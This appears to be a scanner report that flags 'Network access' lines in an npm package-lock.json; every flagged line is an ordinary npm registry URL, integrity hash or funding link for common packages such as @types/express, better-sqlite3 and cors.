    "version": "3.4.38",       "resolved": "https://registry.npmjs.org/@types/connect/-/connect-3.4.38.tgz",       "integrity": "sha512-K6uROf1LD88uDQqJCktA4yzL1YYAK6NgfsI0v/mTgyPKWsX1CnJ0XPSDhViejru1GcRkLWb8RlzFYJRqGUbaug==",
  • Network accessline 161
    "resolved": "https://registry.npmjs.org/@types/connect/-/connect-3.4.38.tgz",
  • Network accessline 169
    "node_modules/@types/cors": {       "version": "2.8.19",       "resolved": "https://registry.npmjs.org/@types/cors/-/cors-2.8.19.tgz",
  • Network accessline 170
    "version": "2.8.19",       "resolved": "https://registry.npmjs.org/@types/cors/-/cors-2.8.19.tgz",       "integrity": "sha512-mFNylyeyqN93lfe/9CSxOGREz8cpzAhH+E93xJ4xWQf62V8sQ/24reV2nyzUWM6H6Xji+GGHpkbLe7pVoUEskg==",
  • Network accessline 171
    "resolved": "https://registry.npmjs.org/@types/cors/-/cors-2.8.19.tgz",
  • Network accessline 179
    "node_modules/@types/express": {       "version": "4.17.25",       "resolved": "https://registry.npmjs.org/@types/express/-/express-4.17.25.tgz",
  • Network accessline 180
    "version": "4.17.25",       "resolved": "https://registry.npmjs.org/@types/express/-/express-4.17.25.tgz",       "integrity": "sha512-dVd04UKsfpINUnK0yBoYHDF3xu7xVH4BuDotC/xGuycx4CgbP48X/KF/586bcObxT0HENHXEU8Nqtu6NR+eKhw==",
  • Network accessline 181
    "resolved": "https://registry.npmjs.org/@types/express/-/express-4.17.25.tgz",
  • Network accessline 192
    "node_modules/@types/express-serve-static-core": {       "version": "4.19.7",       "resolved": "https://registry.npmjs.org/@types/express-serve-static-core/-/express-serve-static-core-4.19.7.tgz",
  • Network accessline 193
    "version": "4.19.7",       "resolved": "https://registry.npmjs.org/@types/express-serve-static-core/-/express-serve-static-core-4.19.7.tgz",       "integrity": "sha512-FvPtiIf1LfhzsaIXhv/PHan/2FeQBbtBDtfX2QfvPxdUelMDEckK08SM6nqo1MIZY3RUlfA+
  • Network accessline 194
    "resolved": "https://registry.npmjs.org/@types/express-serve-static-core/-/express-serve-static-core-4.19.7.tgz",
  • Network accessline 205
    "node_modules/@types/http-errors": {       "version": "2.0.5",       "resolved": "https://registry.npmjs.org/@types/http-errors/-/http-errors-2.0.5.tgz",
  • Network accessline 206
    "version": "2.0.5",       "resolved": "https://registry.npmjs.org/@types/http-errors/-/http-errors-2.0.5.tgz",       "integrity": "sha512-r8Tayk8HJnX0FztbZN7oVqGccWgw98T/0neJphO91KkmOzug1KkofZURD4UaD5uH8AqcFLfdPErnBod0u71/qg==",
  • Network accessline 207
    "resolved": "https://registry.npmjs.org/@types/http-errors/-/http-errors-2.0.5.tgz",
  • Network accessline 212
    "node_modules/@types/mime": {       "version": "1.3.5",       "resolved": "https://registry.npmjs.org/@types/mime/-/mime-1.3.5.tgz",
  • Network accessline 213
    "version": "1.3.5",       "resolved": "https://registry.npmjs.org/@types/mime/-/mime-1.3.5.tgz",       "integrity": "sha512-/pyBZWSLD2n0dcHE3hq8s8ZvcETHtEuF+3E7XVt0Ig2nvsVQXdghHVcEkIWjy9A0wKfTn97a/PSDYohKIlnP/w==",
  • Network accessline 214
    "resolved": "https://registry.npmjs.org/@types/mime/-/mime-1.3.5.tgz",
  • Network accessline 219
    "node_modules/@types/node": {       "version": "20.19.27",       "resolved": "https://registry.npmjs.org/@types/node/-/node-20.19.27.tgz",
  • Network accessline 220
    "version": "20.19.27",       "resolved": "https://registry.npmjs.org/@types/node/-/node-20.19.27.tgz",       "integrity": "sha512-N2clP5pJhB2YnZJ3PIHFk5RkygRX5WO/5f0WC08tp0wd+sv0rsJk3MqWn3CbNmT2J505a5336jaQj4ph1AdMug==",
  • Network accessline 221
    "resolved": "https://registry.npmjs.org/@types/node/-/node-20.19.27.tgz",
  • Network accessline 229
    "node_modules/@types/qs": {       "version": "6.14.0",       "resolved": "https://registry.npmjs.org/@types/qs/-/qs-6.14.0.tgz",
  • Network accessline 230
    "version": "6.14.0",       "resolved": "https://registry.npmjs.org/@types/qs/-/qs-6.14.0.tgz",       "integrity": "sha512-eOunJqu0K1923aExK6y8p6fsihYEn/BYuQ4g0CxAAgFc4b/ZLN4CrsRZ55srTdqoiLzU2B2evC+apEIxprEzkQ==",
  • Network accessline 231
    "resolved": "https://registry.npmjs.org/@types/qs/-/qs-6.14.0.tgz",
  • Network accessline 236
    "node_modules/@types/range-parser": {       "version": "1.2.7",       "resolved": "https://registry.npmjs.org/@types/range-parser/-/range-parser-1.2.7.tgz",
  • Network accessline 237
    "version": "1.2.7",       "resolved": "https://registry.npmjs.org/@types/range-parser/-/range-parser-1.2.7.tgz",       "integrity": "sha512-hKormJbkJqzQGhziax5PItDUTMAM9uE2XXQmM37dyd4hVM+5aVl7oVxMVUiVQn2oCQFN/LKCZdvSM0pFRqbSmQ==",
  • Network accessline 238
    "resolved": "https://registry.npmjs.org/@types/range-parser/-/range-parser-1.2.7.tgz",
  • Network accessline 243
    "node_modules/@types/send": {       "version": "1.2.1",       "resolved": "https://registry.npmjs.org/@types/send/-/send-1.2.1.tgz",
  • Network accessline 244
    "version": "1.2.1",       "resolved": "https://registry.npmjs.org/@types/send/-/send-1.2.1.tgz",       "integrity": "sha512-arsCikDvlU99zl1g69TcAB3mzZPpxgw0UQnaHeC1Nwb015xp8bknZv5rIfri9xTOcMuaVgvabfIRA7PSZVuZIQ==",
  • Network accessline 245
    "resolved": "https://registry.npmjs.org/@types/send/-/send-1.2.1.tgz",
  • Network accessline 253
    "node_modules/@types/serve-static": {       "version": "1.15.10",       "resolved": "https://registry.npmjs.org/@types/serve-static/-/serve-static-1.15.10.tgz",
  • Network accessline 254
    "version": "1.15.10",       "resolved": "https://registry.npmjs.org/@types/serve-static/-/serve-static-1.15.10.tgz",       "integrity": "sha512-tRs1dB+g8Itk72rlSI2ZrW6vZg0YrLI81iQSTkMmOqnqCaNr/8Ek4VwWcN5vZgCYWbg/JJSGBlUaYGAOP73qBw==",
  • Network accessline 255
    "resolved": "https://registry.npmjs.org/@types/serve-static/-/serve-static-1.15.10.tgz",
  • Network accessline 265
    "node_modules/@types/serve-static/node_modules/@types/send": {       "version": "0.17.6",       "resolved": "https://registry.npmjs.org/@types/send/-/send-0.17.6.tgz",
  • Network accessline 266
    "version": "0.17.6",       "resolved": "https://registry.npmjs.org/@types/send/-/send-0.17.6.tgz",       "integrity": "sha512-Uqt8rPBE8SY0RK8JB1EzVOIZ32uqy8HwdxCnoCOsYrvnswqmFZ/k+9Ikidlk/ImhsdvBsloHbAlewb2IEBV/Og==",
  • Network accessline 267
    "resolved": "https://registry.npmjs.org/@types/send/-/send-0.17.6.tgz",
  • Network accessline 276
    "node_modules/@types/sqlite3": {       "version": "3.1.11",       "resolved": "https://registry.npmjs.org/@types/sqlite3/-/sqlite3-3.1.11.tgz",
  • Network accessline 277
    "version": "3.1.11",       "resolved": "https://registry.npmjs.org/@types/sqlite3/-/sqlite3-3.1.11.tgz",       "integrity": "sha512-KYF+QgxAnnAh7DWPdNDroxkDI3/MspH1NMx6m/N/6fT1G6+jvsw4/ZePt8R8cr7ta58aboeTfYFBDxTJ5yv15w==",
  • Network accessline 278
    "resolved": "https://registry.npmjs.org/@types/sqlite3/-/sqlite3-3.1.11.tgz",
  • Network accessline 286
    "node_modules/abbrev": {       "version": "1.1.1",       "resolved": "https://registry.npmjs.org/abbrev/-/abbrev-1.1.1.tgz",
  • Network accessline 287
    "version": "1.1.1",       "resolved": "https://registry.npmjs.org/abbrev/-/abbrev-1.1.1.tgz",       "integrity": "sha512-nne9/IiQ/hzIhY6pdDnbBtz7DjPTKrY00P/zvPSm5pOFkl6xuGrGnXn/VtTNNfNtAfZ9/1RtehkszU9qcTii0Q==",
  • Network accessline 288
    "resolved": "https://registry.npmjs.org/abbrev/-/abbrev-1.1.1.tgz",
  • Network accessline 293
    "node_modules/accepts": {       "version": "1.3.8",       "resolved": "https://registry.npmjs.org/accepts/-/accepts-1.3.8.tgz",
  • Network accessline 294
    "version": "1.3.8",       "resolved": "https://registry.npmjs.org/accepts/-/accepts-1.3.8.tgz",       "integrity": "sha512-PYAthTa2m2VKxuvSD3DPC/Gy+U+sOA1LAuT8mkmRuvw+NACSaeXEQ+NHcVF7rONl6qcaxV3Uuemwawk+7+SJLw==",
  • Network accessline 295
    "resolved": "https://registry.npmjs.org/accepts/-/accepts-1.3.8.tgz",
  • Network accessline 306
    "node_modules/acorn": {       "version": "8.15.0",       "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.15.0.tgz",
  • Network accessline 307
    "version": "8.15.0",       "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.15.0.tgz",       "integrity": "sha512-NZyJarBfL7nWwIq+FDL6Zp/yHEhePMNnnJ0y3qfieCrmNvYct8uvtiV41UvlSe6apAfk0fY1FbWx+NwfmpvtTg==",
  • Network accessline 308
    "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.15.0.tgz",
  • Network accessline 319
    "node_modules/acorn-walk": {       "version": "8.3.4",       "resolved": "https://registry.npmjs.org/acorn-walk/-/acorn-walk-8.3.4.tgz",
  • Network accessline 320
    "version": "8.3.4",       "resolved": "https://registry.npmjs.org/acorn-walk/-/acorn-walk-8.3.4.tgz",       "integrity": "sha512-ueEepnujpqee2o5aIYnvHU6C0A42MNdsIDeqy5BydrkuC5R1ZuUFnm27EeFJGoEHJQgn3uleRvmTXaJgfXbt4g==",
  • Network accessline 321
    "resolved": "https://registry.npmjs.org/acorn-walk/-/acorn-walk-8.3.4.tgz",
  • Network accessline 332
    "node_modules/agent-base": {       "version": "6.0.2",       "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-6.0.2.tgz",
  • Network accessline 333
    "version": "6.0.2",       "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-6.0.2.tgz",       "integrity": "sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ==",
  • Network accessline 334
    "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-6.0.2.tgz",
  • Network accessline 345
    "node_modules/agent-base/node_modules/debug": {       "version": "4.4.3",       "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz",
  • Network accessline 346
    "version": "4.4.3",       "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz",       "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==",
  • Network accessline 347
    "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz",
  • Network accessline 363
    "node_modules/agent-base/node_modules/ms": {       "version": "2.1.3",       "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
  • Network accessline 364
    "version": "2.1.3",       "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",       "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==",
  • Network accessline 365
    "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
  • Network accessline 370
    "node_modules/agentkeepalive": {       "version": "4.6.0",       "resolved": "https://registry.npmjs.org/agentkeepalive/-/agentkeepalive-4.6.0.tgz",
  • Network accessline 371
    "version": "4.6.0",       "resolved": "https://registry.npmjs.org/agentkeepalive/-/agentkeepalive-4.6.0.tgz",       "integrity": "sha512-kja8j7PjmncONqaTsB8fQ+wE2mSU2DJ9D4XKoJ5PFWIdRMa6SLSN1ff4mOr4jCbfRSsxR4keIiySJU0N9T5hIQ==",
  • Network accessline 372
    "resolved": "https://registry.npmjs.org/agentkeepalive/-/agentkeepalive-4.6.0.tgz",
  • Network accessline 383
    "node_modules/aggregate-error": {       "version": "3.1.0",       "resolved": "https://registry.npmjs.org/aggregate-error/-/aggregate-error-3.1.0.tgz",
  • Network accessline 384
    "version": "3.1.0",       "resolved": "https://registry.npmjs.org/aggregate-error/-/aggregate-error-3.1.0.tgz",       "integrity": "sha512-4I7Td01quW/RpocfNayFdFVk1qSuoh0E7JrbRJ16nH01HhKFQ88INq9Sd+nd72zqRySlr9BmDA8xlEJ6vJMrYA==",
  • Network accessline 385
    "resolved": "https://registry.npmjs.org/aggregate-error/-/aggregate-error-3.1.0.tgz",
  • Network accessline 397
    "node_modules/ansi-regex": {       "version": "5.0.1",       "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
  • Network accessline 398
    "version": "5.0.1",       "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",       "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==",
  • Network accessline 399
    "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
  • Network accessline 407
    "node_modules/aproba": {       "version": "2.1.0",       "resolved": "https://registry.npmjs.org/aproba/-/aproba-2.1.0.tgz",
  • Network accessline 408
    "version": "2.1.0",       "resolved": "https://registry.npmjs.org/aproba/-/aproba-2.1.0.tgz",       "integrity": "sha512-tLIEcj5GuR2RSTnxNKdkK0dJ/GrC7P38sUkiDmDuHfsHmbagTFAxDVIBltoklXEVIQ/f14IL8IMJ5pn9Hez1Ew==",
  • Network accessline 409
    "resolved": "https://registry.npmjs.org/aproba/-/aproba-2.1.0.tgz",
  • Network accessline 414
    "node_modules/are-we-there-yet": {       "version": "3.0.1",       "resolved": "https://registry.npmjs.org/are-we-there-yet/-/are-we-there-yet-3.0.1.tgz",
  • Network accessline 415
    "version": "3.0.1",       "resolved": "https://registry.npmjs.org/are-we-there-yet/-/are-we-there-yet-3.0.1.tgz",       "integrity": "sha512-QZW4EDmGwlYur0Yyf/b2uGucHQMa8aFUP7eu9ddR73vvhFyt4V0Vl3QHPcTNJ8l6qYOBdxgXdnBXQrHilfRQBg==",
  • Network accessline 416
    "resolved": "https://registry.npmjs.org/are-we-there-yet/-/are-we-there-yet-3.0.1.tgz",
  • Network accessline 429
    "node_modules/arg": {       "version": "4.1.3",       "resolved": "https://registry.npmjs.org/arg/-/arg-4.1.3.tgz",
  • Network accessline 430
    "version": "4.1.3",       "resolved": "https://registry.npmjs.org/arg/-/arg-4.1.3.tgz",       "integrity": "sha512-58S9QDqG0Xx27YwPSt9fJxivjYl432YCwfDMfZ+71RAqUrZef7LrKQZ3LHLOwCS4FLNBplP533Zx895SeOCHvA==",
  • Network accessline 431
    "resolved": "https://registry.npmjs.org/arg/-/arg-4.1.3.tgz",
  • Network accessline 436
    "node_modules/array-flatten": {       "version": "1.1.1",       "resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-1.1.1.tgz",
  • Network accessline 437
    "version": "1.1.1",       "resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-1.1.1.tgz",       "integrity": "sha512-PCVAQswWemu6UdxsDFFX/+gVeYqKAod3D3UVm91jHwynguOwAvYPhx8nNlM++NqRcK6CxxpUafjmhIdKiHibqg==",
  • Network accessline 438
    "resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-1.1.1.tgz",
  • Network accessline 442
    "node_modules/balanced-match": {       "version": "1.0.2",       "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz",
  • Network accessline 443
    "version": "1.0.2",       "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz",       "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==",
  • Network accessline 444
    "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz",
  • Network accessline 449
    "node_modules/base64-js": {       "version": "1.5.1",       "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz",
  • Network accessline 450
    "version": "1.5.1",       "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz",       "integrity": "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==",
  • Network accessline 451
    "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz",
  • Network accessline 454
    {           "type": "github",           "url": "https://github.com/sponsors/feross"
  • Network accessline 455
    "type": "github",           "url": "https://github.com/sponsors/feross"         },
  • Network accessline 456
    "url": "https://github.com/sponsors/feross"
  • Network accessline 458
    {           "type": "patreon",           "url": "https://www.patreon.com/feross"
  • Network accessline 459
    "type": "patreon",           "url": "https://www.patreon.com/feross"         },
  • Network accessline 460
    "url": "https://www.patreon.com/feross"
  • Network accessline 462
    {           "type": "consulting",           "url": "https://feross.org/support"
  • Network accessline 463
    "type": "consulting",           "url": "https://feross.org/support"         }
  • Network accessline 464
    "url": "https://feross.org/support"
  • Network accessline 469
    "node_modules/better-sqlite3": {       "version": "9.6.0",       "resolved": "https://registry.npmjs.org/better-sqlite3/-/better-sqlite3-9.6.0.tgz",
  • Network accessline 470
    "version": "9.6.0",       "resolved": "https://registry.npmjs.org/better-sqlite3/-/better-sqlite3-9.6.0.tgz",       "integrity": "sha512-yR5HATnqeYNVnkaUTf4bOP2dJSnyhP4puJN/QPRyx4YkBEEUxib422n2XzPqDEHjQQqazoYoADdAm5vE15+dAQ==",
  • Network accessline 471
    "resolved": "https://registry.npmjs.org/better-sqlite3/-/better-sqlite3-9.6.0.tgz",
  • Network accessline 480
    "node_modules/bindings": {       "version": "1.5.0",       "resolved": "https://registry.npmjs.org/bindings/-/bindings-1.5.0.tgz",
  • Network accessline 481
    "version": "1.5.0",       "resolved": "https://registry.npmjs.org/bindings/-/bindings-1.5.0.tgz",       "integrity": "sha512-p2q/t/mhvuOj/UeLlV6566GD/guowlr0hHxClI0W9m7MWYkL1F0hLo+0Aexs9HSPCtR1SXQ0TD3MMKrXZajbiQ==",
  • Network accessline 482
    "resolved": "https://registry.npmjs.org/bindings/-/bindings-1.5.0.tgz",
  • Network accessline 489
    "node_modules/bl": {       "version": "4.1.0",       "resolved": "https://registry.npmjs.org/bl/-/bl-4.1.0.tgz",
  • Network accessline 490
    "version": "4.1.0",       "resolved": "https://registry.npmjs.org/bl/-/bl-4.1.0.tgz",       "integrity": "sha512-1W07cM9gS6DcLperZfFSj+bWLtaPGSOHWhPiGzXmvVJbRLdG82sH/Kn8EtW1VqWVA54AKf2h5k5BbnIbwF3h6w==",
  • Network accessline 491
    "resolved": "https://registry.npmjs.org/bl/-/bl-4.1.0.tgz",
  • Network accessline 500
    "node_modules/body-parser": {       "version": "1.20.4",       "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.20.4.tgz",
  • Network accessline 501
    "version": "1.20.4",       "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.20.4.tgz",       "integrity": "sha512-ZTgYYLMOXY9qKU/57FAo8F+HA2dGX7bqGc71txDRC1rS4frdFI5R7NhluHxH6M0YItAP0sHB4uqAOcYKxO6uGA==",
  • Network accessline 502
    "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.20.4.tgz",
  • Network accessline 524
    "node_modules/brace-expansion": {       "version": "1.1.12",       "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.12.tgz",
  • Network accessline 525
    "version": "1.1.12",       "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.12.tgz",       "integrity": "sha512-9T9UjW3r0UW5c1Q7GTwllptXwhvYmEzFhzMfZ9H7FQWt+uZePjZPjBP/W1ZEyZ1twGWom5/56TF4lPcqjnDHcg==",
  • Network accessline 526
    "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.12.tgz",
  • Network accessline 535
    "node_modules/buffer": {       "version": "5.7.1",       "resolved": "https://registry.npmjs.org/buffer/-/buffer-5.7.1.tgz",
  • Network accessline 536
    "version": "5.7.1",       "resolved": "https://registry.npmjs.org/buffer/-/buffer-5.7.1.tgz",       "integrity": "sha512-EHcyIPBQ4BSGlvjB16k5KgAJ27CIsHY/2JBmCRReo48y9rQ3MaUzWX3KVlBa4U7MyX02HdVj0K7C3WaB3ju7FQ==",
  • Network accessline 537
    "resolved": "https://registry.npmjs.org/buffer/-/buffer-5.7.1.tgz",
  • Network accessline 540
    {           "type": "github",           "url": "https://github.com/sponsors/feross"
  • Network accessline 541
    "type": "github",           "url": "https://github.com/sponsors/feross"         },
  • Network accessline 542
    "url": "https://github.com/sponsors/feross"
  • Network accessline 544
    {           "type": "patreon",           "url": "https://www.patreon.com/feross"
  • Network accessline 545
    "type": "patreon",           "url": "https://www.patreon.com/feross"         },
  • Network accessline 546
    "url": "https://www.patreon.com/feross"
  • Network accessline 548
    {           "type": "consulting",           "url": "https://feross.org/support"
  • Network accessline 549
    "type": "consulting",           "url": "https://feross.org/support"         }
  • Network accessline 550
    "url": "https://feross.org/support"
  • Network accessline 559
    "node_modules/bytes": {       "version": "3.1.2",       "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz",
  • Network accessline 560
    "version": "3.1.2",       "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz",       "integrity": "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==",
  • Network accessline 561
    "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz",
  • Network accessline 568
    "node_modules/cacache": {       "version": "15.3.0",       "resolved": "https://registry.npmjs.org/cacache/-/cacache-15.3.0.tgz",
  • Network accessline 569
    "version": "15.3.0",       "resolved": "https://registry.npmjs.org/cacache/-/cacache-15.3.0.tgz",       "integrity": "sha512-VVdYzXEn+cnbXpFgWs5hTT7OScegHVmLhJIR8Ufqk3iFD6A6j5iSX1KuBTfNEv4tdJWE2PzA6IVFtcLC7fN9wQ==",
  • Network accessline 570
    "resolved": "https://registry.npmjs.org/cacache/-/cacache-15.3.0.tgz",
  • Network accessline 598
    "node_modules/call-bind-apply-helpers": {       "version": "1.0.2",       "resolved": "https://registry.npmjs.org/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz",
  • Network accessline 599
    "version": "1.0.2",       "resolved": "https://registry.npmjs.org/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz",       "integrity": "sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuM
  • Network accessline 600
    "resolved": "https://registry.npmjs.org/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz",
  • Network accessline 611
    "node_modules/call-bound": {       "version": "1.0.4",       "resolved": "https://registry.npmjs.org/call-bound/-/call-bound-1.0.4.tgz",
  • Network accessline 612
    "version": "1.0.4",       "resolved": "https://registry.npmjs.org/call-bound/-/call-bound-1.0.4.tgz",       "integrity": "sha512-+ys997U96po4Kx/ABpBCqhA9EuxJaQWDQg7295H4hBphv3IZg0boBKuwYpt4YXp6MZ5AmZQnU/tyMTlRpaSejg==",
  • Network accessline 613
    "resolved": "https://registry.npmjs.org/call-bound/-/call-bound-1.0.4.tgz",
  • Network accessline 622
    },       "funding": {         "url": "https://github.com/sponsors/ljharb"
  • Network accessline 623
    "funding": {         "url": "https://github.com/sponsors/ljharb"       }
  • Network accessline 624
    "url": "https://github.com/sponsors/ljharb"
  • Network accessline 627
    "node_modules/chownr": {       "version": "2.0.0",       "resolved": "https://registry.npmjs.org/chownr/-/chownr-2.0.0.tgz",
  • Network accessline 628
    "version": "2.0.0",       "resolved": "https://registry.npmjs.org/chownr/-/chownr-2.0.0.tgz",       "integrity": "sha512-bIomtDF5KGpdogkLd9VspvFzk9KfpyyGlS8YFVZl7TGPBHL5snIOnxeshwVgPteQ9b4Eydl+pVbIyE1DcvCWgQ==",
  • Network accessline 629
    "resolved": "https://registry.npmjs.org/chownr/-/chownr-2.0.0.tgz",
  • Network accessline 636
    "node_modules/clean-stack": {       "version": "2.2.0",       "resolved": "https://registry.npmjs.org/clean-stack/-/clean-stack-2.2.0.tgz",
  • Network accessline 637
    "version": "2.2.0",       "resolved": "https://registry.npmjs.org/clean-stack/-/clean-stack-2.2.0.tgz",       "integrity": "sha512-4diC9HaTE+KRAMWhDhrGOECgWZxoevMc5TlkObMqNSsVU62PYzXZ/SMTjzyGAFF1YusgxGcSWTEXBhp0CPwQ1A==",
  • Network accessline 638
    "resolved": "https://registry.npmjs.org/clean-stack/-/clean-stack-2.2.0.tgz",
  • Network accessline 646
    "node_modules/color-support": {       "version": "1.1.3",       "resolved": "https://registry.npmjs.org/color-support/-/color-support-1.1.3.tgz",
  • Network accessline 647
    "version": "1.1.3",       "resolved": "https://registry.npmjs.org/color-support/-/color-support-1.1.3.tgz",       "integrity": "sha512-qiBjkpbMLO/HL68y+lh4q0/O1MZFj2RX6X/KmMa3+gJD3z+WwI1ZzDHysvqHGS3mP6mznPckpXmw1nI9cJjyRg==",
  • Network accessline 648
    "resolved": "https://registry.npmjs.org/color-support/-/color-support-1.1.3.tgz",
  • Network accessline 656
    "node_modules/concat-map": {       "version": "0.0.1",       "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz",
  • Network accessline 657
    "version": "0.0.1",       "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz",       "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==",
  • Network accessline 658
    "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz",
  • Network accessline 663
    "node_modules/console-control-strings": {       "version": "1.1.0",       "resolved": "https://registry.npmjs.org/console-control-strings/-/console-control-strings-1.1.0.tgz",
  • Network accessline 664
    "version": "1.1.0",       "resolved": "https://registry.npmjs.org/console-control-strings/-/console-control-strings-1.1.0.tgz",       "integrity": "sha512-ty/fTekppD2fIwRvnZAVdeOiGd1c7YXEixbgJTNzqcxJWKQnjJ/V1bNEEE6hygpM3WjwHFUVK6HTjWSzV4a8s
  • Network accessline 665
    "resolved": "https://registry.npmjs.org/console-control-strings/-/console-control-strings-1.1.0.tgz",
  • Network accessline 670
    "node_modules/content-disposition": {       "version": "0.5.4",       "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.4.tgz",
  • Network accessline 671
    "version": "0.5.4",       "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.4.tgz",       "integrity": "sha512-FveZTNuGw04cxlAiWbzi6zTAL/lhehaWbTtgluJh4/E95DqMwTmha3KZN1aAWA8cFIhHzMZUvLevkw5Rqk+tSQ==",
  • Network accessline 672
    "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.4.tgz",
  • Network accessline 682
    "node_modules/content-type": {       "version": "1.0.5",       "resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.5.tgz",
  • Network accessline 683
    "version": "1.0.5",       "resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.5.tgz",       "integrity": "sha512-nTjqfcBFEipKdXCv4YDQWCfmcLZKm81ldF0pAopTvyrFGVbcR6P/VAAd5G7N+0tTr8QqiU0tFadD6FK4NtJwOA==",
  • Network accessline 684
    "resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.5.tgz",
  • Network accessline 691
    "node_modules/cookie": {       "version": "0.7.2",       "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.7.2.tgz",
  • Network accessline 692
    "version": "0.7.2",       "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.7.2.tgz",       "integrity": "sha512-yki5XnKuf750l50uGTllt6kKILY4nQ1eNIQatoXEByZ5dWgnKqbnqmTrBE5B4N7lrMJKQ2ytWMiTO2o0v6Ew/w==",
  • Network accessline 693
    "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.7.2.tgz",
  • Network accessline 700
    "node_modules/cookie-signature": {       "version": "1.0.7",       "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.0.7.tgz",
  • Network accessline 701
    "version": "1.0.7",       "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.0.7.tgz",       "integrity": "sha512-NXdYc3dLr47pBkpUCHtKSwIOQXLVn8dZEuywboCOJY/osA0wFSLlSawr3KN8qXJEyX66FcONTH8EIlVuK0yyFA==",
  • Network accessline 702
    "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.0.7.tgz",
  • Network accessline 706
    "node_modules/cors": {       "version": "2.8.5",       "resolved": "https://registry.npmjs.org/cors/-/cors-2.8.5.tgz",
  • Network accessline 707
    "version": "2.8.5",       "resolved": "https://registry.npmjs.org/cors/-/cors-2.8.5.tgz",       "integrity": "sha512-KIHbLJqu73RGr/hnbrO9uBeixNGuvSQjul/jdFvS/KFSIH1hWVd1ng7zOHx+YrEfInLG7q4n6GHQ9cDtxv/P6g==",
  • Network accessline 708
    "resolved": "https://registry.npmjs.org/cors/-/cors-2.8.5.tgz",
  • Network accessline 719
    "node_modules/create-require": {       "version": "1.1.1",       "resolved": "https://registry.npmjs.org/create-require/-/create-require-1.1.1.tgz",
  • Network accessline 720
